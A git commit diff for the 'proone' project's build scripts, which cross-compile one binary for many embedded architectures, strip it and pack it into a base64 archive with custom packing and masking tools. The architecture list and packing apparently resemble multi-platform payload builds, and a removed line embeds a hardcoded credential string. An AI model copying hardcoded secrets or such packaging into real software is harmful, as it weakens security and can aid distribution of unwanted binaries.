aboutsummaryrefslogtreecommitdiff
path: root/scripts
diff options
context:
space:
mode:
authorDavid Timber <mieabby@gmail.com>2020-08-10 13:57:00 +0930
committerDavid Timber <mieabby@gmail.com>2020-08-10 13:57:00 +0930
commit195946d11f8a7870b435e0eba32f2299aa1b96a1 (patch)
tree62470aff372efb7cb66d9a90c1fc33c60b19738f /scripts
parentd61c0f9ddba9176c09ed751587343f3268ac6812 (diff)
Changes for xcomp ...
* Add 'pthsem' dependency * Remove m68k, spc arch * Add proone-stress, proone-arch-test
Diffstat (limited to 'scripts')
-rwxr-xr-xscripts/build-all.sh56
-rwxr-xr-xscripts/xcomp.sh25
2 files changed, 46 insertions, 35 deletions
diff --git a/scripts/build-all.sh b/scripts/build-all.sh
index 6cbc78a..8001152 100755
--- a/scripts/build-all.sh
+++ b/scripts/build-all.sh
@@ -1,36 +1,36 @@
#!/bin/bash
ARCH_ARR=(
+ "aarch64"
"armv4t"
"armv7"
"i686"
- "m68k"
+ "x86_64"
"mips"
"mpsl"
"ppc"
"sh4"
- "spc"
)
TOOLCHAIN_ARR=(
+ "aarch64"
"armv4t"
"armv7"
"i686"
- "m68k"
+ "x86_64"
"mips"
"mpsl"
"ppc"
"sh4"
- "spc"
)
HOST_ARR=(
+ "aarch64-linux"
"arm-linux"
"arm-linux"
"i686-linux"
- "m68k-linux"
+ "x86_64-linux"
"mips-linux"
"mipsel-linux"
"powerpc-linux"
"sh4-linux"
- "sparc-linux"
)
ARR_SIZE="${#ARCH_ARR[@]}"
if [ $ARR_SIZE -ne "${#TOOLCHAIN_ARR[@]}" ] || [ $ARR_SIZE -ne "${#HOST_ARR[@]}" ]; then
@@ -38,47 +38,47 @@ if [ $ARR_SIZE -ne "${#TOOLCHAIN_ARR[@]}" ] || [ $ARR_SIZE -ne "${#HOST_ARR[@]}"
exit 2
fi
+set -e
+
PROONE_PREFIX="builds"
-PROONE_ORG_BIN="$PROONE_PREFIX/out"
-PROONE_REL_BIN="$PROONE_PREFIX/bin"
+PROONE_DEBUG_SYM="$PROONE_PREFIX/debug"
+PROONE_REL_BIN="$PROONE_PREFIX/proone"
PROONE_TOOLS="$PROONE_PREFIX/tools"
-export PROONE_ORG_BIN_PREFIX="$PROONE_ORG_BIN/proone"
+PROONE_MISC_BIN="$PROONE_PREFIX/misc"
+export PROONE_DEBUG_SYM_PREFIX="$PROONE_DEBUG_SYM/proone.debug"
export PROONE_REL_BIN_PREFIX="$PROONE_REL_BIN/proone"
+export PROONE_MISC_BIN_PREFIX="$PROONE_MISC_BIN/"
PROONE_PACKER="$PROONE_TOOLS/proone-pack"
PROONE_UNPACKER="$PROONE_TOOLS/proone-unpack"
PROONE_BIN_ARCHIVE="$PROONE_PREFIX/bin-archive"
-rm -rf "$PROONE_PREFIX" && mkdir "$PROONE_PREFIX" "$PROONE_ORG_BIN" "$PROONE_REL_BIN" "$PROONE_TOOLS"
-if [ $? -ne 0 ] ; then
- exit $?
-fi
-
+rm -rf "$PROONE_PREFIX"
+mkdir "$PROONE_PREFIX" "$PROONE_DEBUG_SYM" "$PROONE_REL_BIN" "$PROONE_TOOLS" "$PROONE_MISC_BIN"
+set +e
make distclean
+set -e
# native build for tools
-./configure $PROONE_AM_CONF && make -j$(nproc) &&
- cp -a src/proone-pack "$PROONE_PACKER" &&
- cp -a src/proone-unpack "$PROONE_UNPACKER" &&
- cp -a src/proone-list-arch "$PROONE_TOOLS/proone-list-arch" &&
- cp -a src/proone-mask "$PROONE_TOOLS/proone-mask" &&
- cp -a src/proone-print-all-data "$PROONE_TOOLS/proone-print-all-data" &&
- cp -a src/proone-resolv "$PROONE_TOOLS/proone-resolv"
-if [ $? -ne 0 ]; then
- exit $?
-fi
+./configure $PROONE_AM_CONF
+make -j$(nproc)
+cp -a src/proone-pack "$PROONE_PACKER"
+cp -a src/proone-unpack "$PROONE_UNPACKER"
+cp -a src/proone-list-arch "$PROONE_TOOLS/proone-list-arch"
+cp -a src/proone-mask "$PROONE_TOOLS/proone-mask"
+cp -a src/proone-print-all-data "$PROONE_TOOLS/proone-print-all-data"
+cp -a src/proone-resolv "$PROONE_TOOLS/proone-resolv"
make distclean
# cross-compile targets
for (( i = 0; i < ARR_SIZE; i += 1 )); do
- PROONE_HOST="${HOST_ARR[$i]}" PROONE_BIN_ARCH="${ARCH_ARR[$i]}" bash-xcomp-emb "${TOOLCHAIN_ARR[$i]}" "scripts/xcomp.sh"
+ PROONE_HOST="${HOST_ARR[$i]}" PROONE_BIN_ARCH="${ARCH_ARR[$i]}" xcomp linux-app "${TOOLCHAIN_ARR[$i]}" "scripts/xcomp.sh"
if [ $? -ne 0 ]; then
exit $?
fi
done
# pack
-echo "bwEYAZaX8Zu9X1C6024h" > "$PROONE_BIN_ARCHIVE" # "test":"password"
-"$PROONE_PACKER" "$PROONE_ORG_BIN_PREFIX."* | base64 >> "$PROONE_BIN_ARCHIVE"
+"$PROONE_PACKER" "$PROONE_REL_BIN_PREFIX."* | base64 >> "$PROONE_BIN_ARCHIVE"
if [ $? -ne 0 ]; then
exit $?
fi
@@ -87,7 +87,7 @@ fi
# size report
-total_bin_size=$(cat "$PROONE_ORG_BIN_PREFIX."* | wc -c)
+total_bin_size=$(cat "$PROONE_REL_BIN_PREFIX."* | wc -c)
bin_archive_size=$(wc -c "$PROONE_BIN_ARCHIVE" | awk '{print $1;}')
echo "print(\"archive/bin = $bin_archive_size / $total_bin_size (\" + str($bin_archive_size / $total_bin_size * 100) + \"%)\")" | python3
diff --git a/scripts/xcomp.sh b/scripts/xcomp.sh
index a0ccb02..3aa050f 100755
--- a/scripts/xcomp.sh
+++ b/scripts/xcomp.sh
@@ -1,10 +1,21 @@
#!/bin/bash
-BIN_ORG="$PROONE_ORG_BIN_PREFIX.$PROONE_BIN_ARCH"
+set -e
+
+separate_debug() {
+ cp -a "$1" "$2"
+ "$PROONE_HOST-objcopy" --only-keep-debug "$2" "$3"
+ "$PROONE_HOST-strip" -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr "$2"
+ "$PROONE_HOST-objcopy" --add-gnu-debuglink="$3" "$2"
+}
+
+BIN_DBG="$PROONE_DEBUG_SYM_PREFIX.$PROONE_BIN_ARCH"
BIN_REL="$PROONE_REL_BIN_PREFIX.$PROONE_BIN_ARCH"
-./configure --host="$PROONE_HOST" $PROONE_AM_CONF &&\
- make -j$(nproc) &&\
- cp -a src/proone "$BIN_ORG" &&\
- cp -a src/proone "$BIN_REL" &&\
- "$PROONE_HOST-strip" -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr "$BIN_REL" &&\
- make distclean
+./configure --host="$PROONE_HOST" $PROONE_AM_CONF
+make -j$(nproc)
+
+separate_debug src/proone "$BIN_REL" "$BIN_DBG"
+cp -a src/proone-stress "$PROONE_MISC_BIN_PREFIX/proone-stress.$PROONE_BIN_ARCH"
+cp -a src/proone-arch-test "$PROONE_MISC_BIN_PREFIX/proone-arch-test.$PROONE_BIN_ARCH"
+
+make distclean